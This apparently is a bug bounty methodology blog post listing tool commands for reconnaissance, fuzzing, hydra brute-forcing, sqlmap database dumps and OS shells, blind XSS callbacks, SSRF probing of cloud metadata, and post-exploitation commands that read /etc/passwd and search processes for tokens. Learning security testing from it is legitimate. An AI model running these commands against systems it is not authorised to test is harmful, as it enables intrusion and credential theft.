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Introduction:
Bug bounty hunting has evolved from a niche hobby into a professional cybersecurity discipline where skilled researchers identify vulnerabilities in organizational systems before malicious actors can exploit them. Success in this field requires not just theoretical knowledge but mastery of specific tools and methodologies that enable efficient reconnaissance, vulnerability assessment, and validation of security flaws across diverse attack surfaces.
Learning Objectives:
- Master reconnaissance techniques to expand attack surface discovery
- Develop proficiency in vulnerability scanning and validation
- Implement advanced exploitation and post-exploitation methodologies
- Understand web application security testing fundamentals
- Learn automated workflow integration for continuous assessment
You Should Know:
1. Comprehensive Subdomain Enumeration
subfinder -d target.com | tee subdomains.txt amass enum -passive -d target.com >> subdomains.txt assetfinder --subs-only target.com >> subdomains.txt sort -u subdomains.txt -o final_subdomains.txt
This multi-tool approach ensures maximum subdomain discovery. Subfinder performs fast passive enumeration, Amass provides comprehensive data collection including certificates and archives, while Assetfinder supplements with additional sources. The final sort command removes duplicates, creating a clean target list for further reconnaissance.
2. Live Host Verification and HTTP Service Discovery
cat final_subdomains.txt | httpx -silent | tee live_hosts.txt cat final_subdomains.txt | naabu -top-ports 1000 -silent | tee naabu_results.txt cat final_subdomains.txt | nuclei -t ~/nuclei-templates/technologies/ | tee tech_detect.txt
Httpx verifies which subdomains are actively serving HTTP/HTTPS content. Naabu performs port scanning to discover additional services beyond web ports. Nuclei technology detection identifies specific software and frameworks running on discovered hosts, enabling targeted vulnerability assessment.
3. Automated Vulnerability Scanning with Nuclei
nuclei -l live_hosts.txt -t ~/nuclei-templates/exposures/ -o exposures.txt nuclei -l live_hosts.txt -t ~/nuclei-templates/vulnerabilities/ -o vulnerabilities.txt nuclei -l live_hosts.txt -t ~/nuclei-templates/misconfiguration/ -o misconfigurations.txt
Nuclei templates provide specialized testing for different vulnerability classes. The exposures template detects information leaks, vulnerabilities template tests for specific security flaws, and misconfiguration template identifies improper security settings. Running these sequentially ensures comprehensive coverage.
4. Content Discovery and Directory Brute-Forcing
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -o dir_scan.txt ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -u https://target.com/FUZZ -recursion gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
These commands discover hidden directories, files, and endpoints. Ffuf with common wordlists provides quick wins, while larger lists and recursion uncover deeper content. Gobuster offers an alternative engine that may discover different resources due to varying implementation.
5. JavaScript Analysis for Hidden Endpoints
cat live_hosts.txt | waybackurls | tee wayback.txt cat live_hosts.txt | gau | tee gau.txt python3 linkfinder.py -i https://target.com/script.js -o endpoints.html subjs -i https://target.com/script.js | tee javascript_endpoints.txt
Historical data from Wayback Machine and Github (via gau) reveals deprecated but still accessible endpoints. Linkfinder and subjs extract API endpoints, authentication tokens, and hidden functionality from JavaScript files, often uncovering undocumented attack surfaces.
6. Parameter Discovery and Fuzzing
arjun -u https://target.com/endpoint -o parameters.txt ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "https://target.com/endpoint?FUZZ=test" -fr "error" qsreplace "payload" < endpoints.txt | httpx -silent -status-code
Arjun intelligently discovers parameters through multiple techniques. Ffuf tests common parameter names, while filtering out error responses. Qsreplace mass-modifies endpoints with payloads for mass testing, efficiently identifying injection points.
7. Authentication Bypass Testing
hydra -L users.txt -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" sqlmap -u "https://target.com/login" --forms --batch commix -u "https://target.com/search?query=test" --batch
Hydra performs credential brute-forcing against authentication mechanisms. Sqlmap tests for SQL injection in login forms, while Commix identifies command injection vulnerabilities. These tools automate the exploitation of common authentication flaws.
8. Advanced SQL Injection Exploitation
sqlmap -u "https://target.com/products?id=1" --dbs --batch sqlmap -u "https://target.com/products?id=1" -D database --tables sqlmap -u "https://target.com/products?id=1" -D database -T users --dump sqlmap -r request.txt --level=5 --risk=3 --os-shell
Sqlmap automates the process of detecting and exploiting SQL injection. The commands progress from database enumeration to table discovery, data extraction, and ultimately achieving operating system command execution through the database.
9. Cross-Site Scripting Validation
dalfox url "https://target.com/search?q=test" dalfox file urls.txt --blind https://your-xss-hunter.com xsstrike -u "https://target.com/search?q=test" --crawl python3 xssor.py -u "https://target.com/search?q=payload"
Dalfox provides automated XSS detection with various payloads and contexts. XSStrike offers advanced fuzzing with context-aware payload generation. XSSor enables manual testing with encoded payloads for bypassing filters.
10. Server-Side Request Forgery Exploitation
ssrfmap -r request.txt -p URL -m portscan gopherus --exploit mysql python3 ssrf.py -u https://target.com/redirect?url=INTERNAL -d 169.254.169.254
SSRFMap automates SSRF exploitation including internal port scanning and service interaction. Gopherus generates payloads for database exploitation through SSRF. Custom scripts can test cloud metadata endpoints and internal service access.
11. API Security Testing
kiterunner scan https://target.com/api/ -w ~/wordlists/api_routes.txt arjun -u https://target.com/graphql -m POST --headers 'Content-Type: application/json' graphqlmap -u https://target.com/graphql -method POST
Kiterunner specializes in discovering and testing API endpoints using context-aware wordlists. Arjun and GraphQLMap target GraphQL implementations specifically, identifying introspection endpoints and testing for GraphQL-specific vulnerabilities.
12. Post-Exploitation Information Gathering
whoami && hostname ipconfig /all || ifconfig net user || cat /etc/passwd systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ps aux | grep -E "(password|token|key)"
These commands establish foothold maintenance and privilege escalation pathways. They identify current user context, network configuration, system users, OS version details, and processes handling sensitive authentication data.
What Undercode Say:
- Comprehensive reconnaissance separates amateur hunters from professionals
- Automation enables scale but manual validation confirms impact
- Understanding business context prioritizes critical findings
The most successful bug bounty hunters approach targets with methodology rather than randomness. While automated tools provide massive surface coverage, the critical vulnerabilities that yield highest bounties almost always require manual analysis to understand application logic, business context, and exploitation impact. The difference between a P3 and P1 finding often lies in the hunter’s ability to chain multiple low-severity issues or demonstrate business impact beyond technical severity.
Prediction:
As organizations continue digital transformation and attack surfaces expand exponentially, bug bounty programs will evolve from vulnerability reporting platforms to continuous security assessment ecosystems. We’ll see increased integration of AI-assisted hunting tools, real-time program scope adjustments based on threat intelligence, and specialized bounties for emerging technologies like Web3 and AI infrastructure. The most successful hunters will need to develop specialized expertise in specific technology stacks rather than maintaining generalist approaches.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Devanshpatelcybersecurity %F0%9D%90%98%F0%9D%90%9E%F0%9D%90%AD – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
